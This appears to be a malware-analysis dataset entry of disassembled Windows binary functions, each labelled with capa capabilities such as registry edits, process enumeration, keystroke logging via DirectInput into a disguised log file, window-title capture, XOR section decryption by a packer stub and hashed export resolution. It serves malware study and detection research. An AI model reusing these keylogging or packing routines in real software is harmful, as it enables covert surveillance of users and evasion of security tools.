joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c579
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10032bf0
push 0x1001b7a0
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x100357ec]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x440], SysReAllocString
mov dword [ebp - 0x434], 0
mov ebx, 0x208
push ebx
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.10015af0
push ebx
push 0
lea ecx, [ebp - 0x42c]
push ecx
call fcn.10015af0
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x438]
push edx
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1000c458
mov dword [ebp - 0x434], 0xffffffff
jmp case.0x1000c465.5
mov eax, dword [ebp + 8]
dec eax
cmp eax, 6
ja case.0x1000c465.5
jmp dword [eax*4 + 0x1000c608]
mov dword [ebp - 0x430], ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c465.5
lea ecx, [ebp - 0x224]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1000c5b4
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x438]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c465.5
lea esi, [ebp - 0x224]
cmp word [esi], 0
je 0x1000c52a
push ebx
push esi
push 0x104
lea eax, [ebp - 0x42c]
push eax
call fcn.1001429e
push ebx
push 0x100303e0
push 0x104
lea ecx, [ebp - 0x42c]
push ecx
call fcn.1001429e
add esp, 0x20
push 0
push esi
call fcn.10013ec4
add esp, 8
lea esi, [eax + 2]
jmp 0x1000c4e7
lea edx, [ebp - 0x42c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1000c5b4
mov dword [ebp - 0x430], 4
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x43c]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c465.5
mov ecx, dword [ebp - 0x43c]
push ecx
push 0x100302e4
jmp 0x1000c5aa
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
push 0
lea eax, [ebp + 8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x438]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c465.5
mov edx, dword [ebp + 8]
push edx
push str._08X
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x434], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.1000c5ee
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret 4
Function at 0x1000c630
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x428], 0
mov eax, str.AppEvents
jne 0x1000c64b
mov eax, str.Network
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 4]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
cmp dword [esi + 0x428], 0
mov eax, str.AppEvents
jne 0x1000c689
mov eax, str.Network
lea ecx, [ebp - 4]
push ecx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1000c6cc
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 4]
add eax, eax
push eax
push esi
push 3
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1000c6cc
mov eax, dword [ebp - 4]
push eax
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
push ecx
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000c6e0
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x1fe
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x260]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x260]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push esi
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000d390
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x1000d3d3
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x1000d3cc
mov esi, dword [eax + 0x20]
jmp 0x1000d3d3
test bl, bl
jns 0x1000d3d3
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x1000d4a0
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x1000d428
mov ecx, dword [ebx]
test cl, 0x40
je 0x1000d421
mov edi, dword [eax + 0x20]
jmp 0x1000d428
test cl, cl
jns 0x1000d428
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x1000d457
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x1000d457
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.1000d2e0
test eax, eax
je 0x1000d4be
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x1000d47f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x1000d46e
test dword [ebp - 0x10], 0x2000000
je 0x1000d46e
or dword [ebp - 0x10], eax
jmp 0x1000d479
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x1000d400
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.1000d2e0
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000df00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1000df70
lea ecx, [ebp - 0x20c]
push ebx
push ecx
call fcn.10014dab
add esp, 8
test eax, eax
je 0x1000df6a
lea edx, [ebp - 0x230]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1000df42
jmp 0x1000df70
mov edi, dword [ebp - 0x228]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x1000df90
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a8e9
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov esi, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], esi
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
push eax
mov dword [ebp - 4], eax
push 4
mov dword [ebp - 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
push ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1000e0e0
nop
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp + 8]
jne 0x1000e0cd
mov eax, dword [esi + 4]
lea edx, [ebp - 0x24]
cmp edx, eax
jae 0x1000e07d
mov edx, dword [esi]
lea ecx, [ebp - 0x24]
cmp edx, ecx
ja 0x1000e07d
mov edi, ecx
mov ecx, dword [esi + 8]
sub edi, edx
sar edi, 2
cmp eax, ecx
jne 0x1000e06b
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x1000e105
sub ecx, edx
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x1000e06b
mov edx, ecx
shr edx, 1
mov ebx, 0x3fffffff
sub ebx, edx
cmp ebx, ecx
jae 0x1000e05a
xor ecx, ecx
jmp 0x1000e05c
add ecx, edx
cmp ecx, eax
jae 0x1000e062
mov ecx, eax
push ecx
call fcn.10010050
mov ebx, dword [ebp - 0x30]
mov eax, dword [esi + 4]
mov edx, dword [esi]
lea edi, [edx + edi*4]
test eax, eax
je 0x1000e0c9
mov ecx, dword [edi]
mov dword [eax], ecx
jmp 0x1000e0c9
mov ecx, dword [esi + 8]
cmp eax, ecx
jne 0x1000e0bd
mov edx, dword [esi]
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x1000e105
sub ecx, edx
inc eax
sar ecx, 2
cmp eax, ecx
jbe 0x1000e0bd
mov edx, ecx
shr edx, 1
mov edi, 0x3fffffff
sub edi, edx
cmp edi, ecx
jae 0x1000e0af
xor ecx, ecx
jmp 0x1000e0b1
add ecx, edx
cmp ecx, eax
jae 0x1000e0b7
mov ecx, eax
push ecx
call fcn.10010050
mov eax, dword [esi + 4]
test eax, eax
je 0x1000e0c9
mov edx, dword [ebp - 0x24]
mov dword [eax], edx
add dword [esi + 4], 4
lea eax, [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000e000
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call fcn.10010b79
int3
Function at 0x1000fc90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000fcbf
cmp dword [0x1003da04], eax
jne 0x1000fcbf
push eax
push eax
push eax
push 0x1000f590
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1003da04], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x1000fcd0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000f590
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
ret
Function at 0x10010130
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x1003d568
push 0
push 0
push 0x23
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.DisplaySessionContainers.log
push 0x1003d568
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1003d568
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xffffffffffffffff
push eax
mov dword [0x1003dec8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x1003d568
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x3200000
jbe 0x100101d0
push 0x1003d568
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x1003dec8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebx]
xor esi, esi
push esi
push 0x1003da0c
push 0x1002f80c
push 0x800
push edx
call dword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x1001020f
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
mov eax, dword [0x1003da0c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push esi
push 0x1003da10
push 0x1002f82c
push eax
call edx
test eax, eax
js 0x100101fc
mov eax, dword [0x1003da10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x1002f7f4
push eax
call edx
test eax, eax
js 0x100101fc
mov eax, dword [0x1003da10]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov ecx, dword [eax]
push 0xa
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x100101fc
mov eax, dword [0x1003da10]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x3c
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
js 0x100101fc
mov eax, dword [0x1003da10]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
test eax, eax
js 0x100101fc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x14
mov dword [0x1003e6f4], eax
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x100102cd
mov dword [0x1003ded0], esi
cmp ax, 1
jne 0x100102d7
mov dword [0x1003ded0], 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x100102f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1003dec8]
push esi
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 2
push 4
push 0
push 2
push 0x40000000
push 0x1003d568
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10010364
push 2
push 0
push 0
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1003dec8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010370
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x800
push 0
push 0x1003ded8
call fcn.10015af0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x800
push 0x1003ded8
push eax
mov dword [0x1003e6d8], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x806]
push ecx
xor esi, esi
mov word [ebp - 0x808], ax
call fcn.10015af0
mov edx, dword [0x1003e6d8]
add esp, 0xc
cmp edx, dword [0x1003ded4]
je 0x10010479
push 0x1003ded8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1001046d
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
movzx eax, word [ebp - 0x810]
push ecx
movzx ecx, word [ebp - 0x812]
push edx
movzx edx, word [ebp - 0x816]
push eax
movzx eax, word [ebp - 0x818]
push ecx
push edx
push eax
push 0x1003ded8
lea ecx, [ebp - 0x808]
push 0x10031398
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x808]
call fcn.100102f0
push 0x800
push esi
push 0x1003ded8
call fcn.10015af0
add esp, 0x30
mov esi, 1
mov edx, dword [0x1003e6d8]
mov dword [0x1003ded4], edx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x10012a2e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100357ec]
jne 0x10012a38
repz ret
jmp fcn.100189d2

Function at 0x10024b32
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1001b0b7
and dword [ebp - 0x14], 0
cmp dword [0x1003d110], 0
mov dword [ebp - 0x18], eax
jne 0x10024be5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10024c8d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10024c8d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1003d110], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1003d114], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1003d118], eax
call edi
push eax
call esi
mov dword [0x1003d120], eax
test eax, eax
je 0x10024be5
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1003d11c], eax
mov eax, dword [0x1003d11c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10024c3e
cmp dword [0x1003d120], ecx
je 0x10024c3e
push eax
call esi
push dword [0x1003d120]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10024c3e
test ebx, ebx
je 0x10024c3e
call edi
test eax, eax
je 0x10024c35
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10024c35
test byte [ebp - 8], 1
jne 0x10024c3e
or dword [ebp + 0x10], 0x200000
jmp 0x10024c71
mov eax, dword [0x1003d114]
cmp eax, dword [ebp - 0x18]
je 0x10024c71
push eax
call esi
test eax, eax
je 0x10024c71
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10024c71
mov eax, dword [0x1003d118]
cmp eax, dword [ebp - 0x18]
je 0x10024c71
push eax
call esi
test eax, eax
je 0x10024c71
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1003d110]
call esi
test eax, eax
je 0x10024c8d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10024c8f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012a2e
leave
ret

Function at 0x409577
Capabilities:
Encode data using xor

Disassembly:
adc ebp, dword [eax + 0x16]
mov ebx, 0x3f3f1e1
cmp byte [esi], bl
invalid
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x407ef8
mov ecx, 0x1df6137f
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x3b8f1b0b
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401f35
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x24
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [0x47af60]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x401f99
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.0040261a
lea ecx, [esp + 0x14]
call fcn.00401d65
cmp eax, 0x8aafdc01
je 0x401fb1
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00402edf
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x401f68
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004069e9
add esp, 0x24
ret
mov edx, str.QwruxAA
call fcn.0040387f
push eax
call fcn.0040384d
mov eax, dword [ebx + 0x24]
pop ecx
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00402edf
jmp 0x401f9b
Function at 0x41833a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407930
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00414735
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41837c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4184d8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421750
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47ab58]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00418760
mov ecx, dword [esi*4 + 0x47ab58]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4184d1
cmp eax, dword [edi + ecx + 0x24]
jne 0x4184d1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4184d1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418760
add esp, 0x14
test edx, edx
jl 0x4184d1
jg 0x418447
test eax, eax
jb 0x4184d1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4184d1
jl 0x418461
cmp dword [ebp - 0x1008], eax
ja 0x4184d1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41847f
test ebx, ebx
je 0x4184b8
cmp ecx, edi
jae 0x4184b8
mov al, byte [ecx]
cmp al, 0xd
jne 0x418499
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4184a5
cmp byte [ecx + 1], 0xa
jne 0x4184a5
inc ecx
jmp 0x4184a5
movzx eax, al
movsx eax, byte [eax + 0x42c9b0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41847f
cmp edx, ebx
jne 0x41847f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4184d6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004069e9
leave
ret